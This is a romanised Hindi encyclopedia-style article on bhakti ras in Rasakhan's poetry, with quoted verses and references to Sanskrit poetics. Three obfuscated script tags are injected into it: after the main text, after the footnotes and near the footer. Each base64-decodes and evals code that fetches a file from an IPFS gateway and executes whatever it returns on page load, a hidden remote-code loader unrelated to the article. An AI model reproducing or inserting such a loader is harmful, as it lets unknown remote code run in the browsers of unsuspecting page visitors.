रसखान का भक्तिरस
hindi sahity mean krishna bhakt tatha ritikalin kaviyoan mean rasakhan ka mahattvapoorn sthan hai. 'rasakhan' ko ras ki khan kaha jata hai. [[chitr:raskhan-2.jpg|rasakhan ke dohe, mahavan, mathura|thumb|250px]]
- sanskrit kavyashastr ke prasiddh acharyoan- mammat, abhinavagupt, vishvanath, jagannath adi ne rasoan ki sankhya nau mani hai. unhoanne bhakti ko ras-koti mean nahian rakha. unake anusar bhakti dev vishayak rati, bhav hi hai. abhinav gupt ne bhakti ka samavesh shaant ras ke aantargat kiya.[1]
- dhananjay ne isako harshotsah mana.[2]
- bhakti ko rasaroop mean pratishthit karane ka shrey vaishnav acharyoan ko hai. unhoanne apane manovaijnanik shastriy vivechan ke adhar par bhakti ras ko any rasoan se uttam bataya.
- madhusoodan sarasvati ne 'bhakti rasayan' mean bhakti ras ki sthapana ki. unaka tark hai ki 'jab anubhav ke adhar par sukhavirodhi krodh, shok, bhay adi sthayi bhavoan ka rasatv ko prapt hona man liya gaya hai to phir sahastragunit anubhav siddh bhakti ko ras n manana apalap hai, j data hai.[3] vastavikata to yah hai ki bhakti ras poorn ras hai, any ras kshudr haian, bhaktiras adity hai, any ras khadyot haian.[4]
- kavyashastr ki drishti se bhaktiras ka sthayi bhav bhagavadrati hai.[5]
- bhakti ras ke alanban bhagavan aur unake bhaktagan haian.[6] bhaktiras ke ashray bhaktagan haian. bhagavan ka roop (vastr adi) aur cheshtaean uddipan vibhav mani gee haian.
- bharatiy kavy shastr ki parampara mean taiantis sanchari mane gaye haian.[7] bhakti ras ke acharyoan ne bhakti ras ke vivechan mean taitisoan ko bhaktiras ka sanchari mana hai. rasakhan ke kavy mean nirved[8] ke sath-sath ghriti[9], harsh[10] smriti[11] adi sanchari bhavoan ki nibandhana huee hai. rasakhan ke kavy mean bhakti ras ke alamban bhagavan shrikrishna haian. unaka baansuri bajana tatha bhaktoan par rijhana bhaktoan ki drishti mean uddipan vibhav haian. nimnaankit pad mean bhakti ras ki akritrim vyanjana hai—
des bides ke dekhe naresan rijh ki kooo n boojh karaigau.
tatean tinhaian taji jani girayau gun, sau gun augun gaanthi paraigau.
baansurivaro b de rijhavar hai syam ju naisuk dhar dharaigau.
la dalau chhail vahi tau ahir ko pir hamare hiy ki haraigau.[12] rasakhan desh-videsh ke rajaoan ko tyagakar bhagavan krishna ki sharan mean ae haian. unaka vishvas hai ki shrikrishna shighr hi un par anugrah karake sankatoan ka nivaran kareange. sabhi prakar ke premiyoan ki yah visheshata hoti hai ki ve apane prem patr mean sanbaddh padarthoan ke sanpark se anand ka anubhav karate haian. bhakti mean bhi yah visheshata drashtavy hai. bhakt bhagavan ke adhik-se-adhik sannidhy mean rahana chahata hai. apani lila ka bhaktoan ko anand dene vale bhagavan ki lilabhoomi, bhaktoan ke lie vishesh anandadayini hoti hai. us bhoomi se sanbaddh pratyek j d-chetan padarth bhagavan ki mahima se mandit dikhayi p data hai. at: bhakt kavi janmajanmaantar tak us lilabhoomi se sanbandh banaye rakhana chahata hai—
manush hauan to vahi rasakhani basauan braj gokul gaanv ke gvaran.
jau pasu hauan tau kaha bas mero charauan nit nand ki dhenu manjharan.
pahan hauan tau vahi giri ko jo dharayau kar chhatr purandar-dharan.
jau khag hauan tau basero karauan mili kaliandi-kool kadanb ki daran॥[13] yahaan bhagavan krishna alanban haian, unaka govardhan parvat ko dharan karana uddipan vibhav hai, ghriti sanchari bhav ke dvara bhaktiras ka paripak ho raha hai. nimn pad mean atm samarpan ki bhavana hai. rasakhan dvara kiya gaya har kary keval bhagavan ke lie ho, aisi abhilasha vyakt karate hue kahate haian—
bain vahi unako gun gai au kan vahi un bain soan sani.
hath vahi un gat sarai aru pai vahi ju vahi anujani.
jan vahi un an ke sang au man vahi ju karai manamani.
tyauan rasakhani vahi rasakhani ju hai rasakhani so he rasakhani॥[14] uparyukt sankshipt vivechan mean yah spasht hai ki rasakhan ne bhaktiras ke anek pad likhe haian, tathapi unake kavyoan mean bhaktiras ki pradhanata nahian hai. ve pramukh roop se shrriangar ke kavi haian. unaka shrriangar krishna ki lilaoan par ashrit hai. atev samany pathak ko yah bhraanti ho sakati hai ki unake adhikaansh pad bhakti ras ki abhivyakti karate haian. shastriy drishti se jin padoan ke dvara pathak ke man mean sthit eeshvar vishayak-ratibhav rasata nahian prapt karata, un padoan ko bhakti ras vyanjak manana tark sangat nahian hai. isamean sandeh nahian ki rasakhan bhakt the aur unhoanne apani rachanaoan mean bhajaniy krishna ka saras roop se niroopan kiya hai.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ ateveshvar pranidhan vishaye bhakti shraddhe smriti mati ghrityutsahanupravishte anyathaivaangamh iti n tayo: prithagsatvenagananamh. abhinav bharati, jild 1, pri0 340
- ↑ dasharoopak, 4 . 83
- ↑ bhaktirasayan, 2 . 77-78
- ↑ bhaktirasayan, 2 . 76
- ↑ sthayi bhavo tr samprokt: shri krishna vishaya rati:. hari bhakti rasamrit siandhu 2 . 5 . 2
- ↑ hari bhakti rasamrit siandhu 2 . 1 . 16
- ↑ natyashastr,3/19-22, kavyaprakash, 4.31-34
- ↑ sujan rasakhan, 8
- ↑ sujan rasakhan, 1
- ↑ sujan rasakhan, 12,13,14,15
- ↑ sujan rasakhan, 18
- ↑ sujan rasakhan, 7
- ↑ sujan rasakhan, 1
- ↑ sujan rasakhan,4; natyashastr, 3.19-22
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>